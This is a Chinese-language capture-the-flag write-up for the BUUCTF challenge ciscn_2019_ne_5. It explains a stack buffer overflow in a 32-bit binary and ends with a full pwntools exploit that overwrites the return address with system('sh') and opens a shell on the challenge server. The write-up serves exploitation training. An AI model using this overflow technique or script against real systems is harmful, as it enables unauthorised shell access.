[BUUCTF]PWN——ciscn_2019_ne_5

ciscn_2019_ne_5

题目附件

步骤：

例行检查，32位，开启了nx保护

试运行一下程序，看一下程序的大概执行情况

32位ida载入，shift+f12查看程序里的字符串，发现了flag字符串

双击跟进，ctrl+x找到调用的函数，得到提示我们输入的log就是flag

看一下main函数，s1在接收admin的密码administrator，这边读入了100个长度的字符，看到15行，给s1的大小只有48，这边存在溢出漏洞

根据之前那个flag的提示，之后我们应该选1，添加一个log，之后应该选4去调用getflag，然后结束程序


搞清楚程序逻辑后尝试构造payload，主要是利用选择1之后的那一次输入，a1就是外面的src，程序给的大小是48，这边读入的时候读入了128长度的字符串，可以造成溢出，将程序的返回地址覆盖成system（‘/bin/sh’），然后选4去调用读取我们构造好的栈，获取shell

之前查看字符串的时候，看到了程序里有用system函数，这边直接用sym去获取它的地址

system_addr=elf.sym['system']

尝试用ROPgadget来搜索一下程序里的’/bin/sh’字符串的地址的，没有找到，但是发现有‘sh’字符串，这个效果和‘/bin/sh’是一样的效果

shell_addr=0x80482ea

这样我们就可以构造我们的payload=‘a’*（0x48+4）+p32(system_addr)+‘aaaa’+p32(shell_addr)
之后选4去调用我们的这个构造好的栈即可获取shell

完整exp

from pwn import*

r=remote("node3.buuoj.cn",27108)
elf=ELF('ciscn_2019_ne_5')
system_addr=elf.sym['system']
shell_addr=0x80482ea

r.recvuntil('Please input admin password:')
r.sendline('administrator')

r.recvuntil('0.Exit\n:')
r.sendline('1')

payload='a'*(0x48+4)+p32(system_addr)+'1234'+p32(shell_addr)

r.recvuntil('Please input new log info:')
r.sendline(payload)

r.recvuntil('0.Exit\n:')
r.sendline('4')

r.interactive()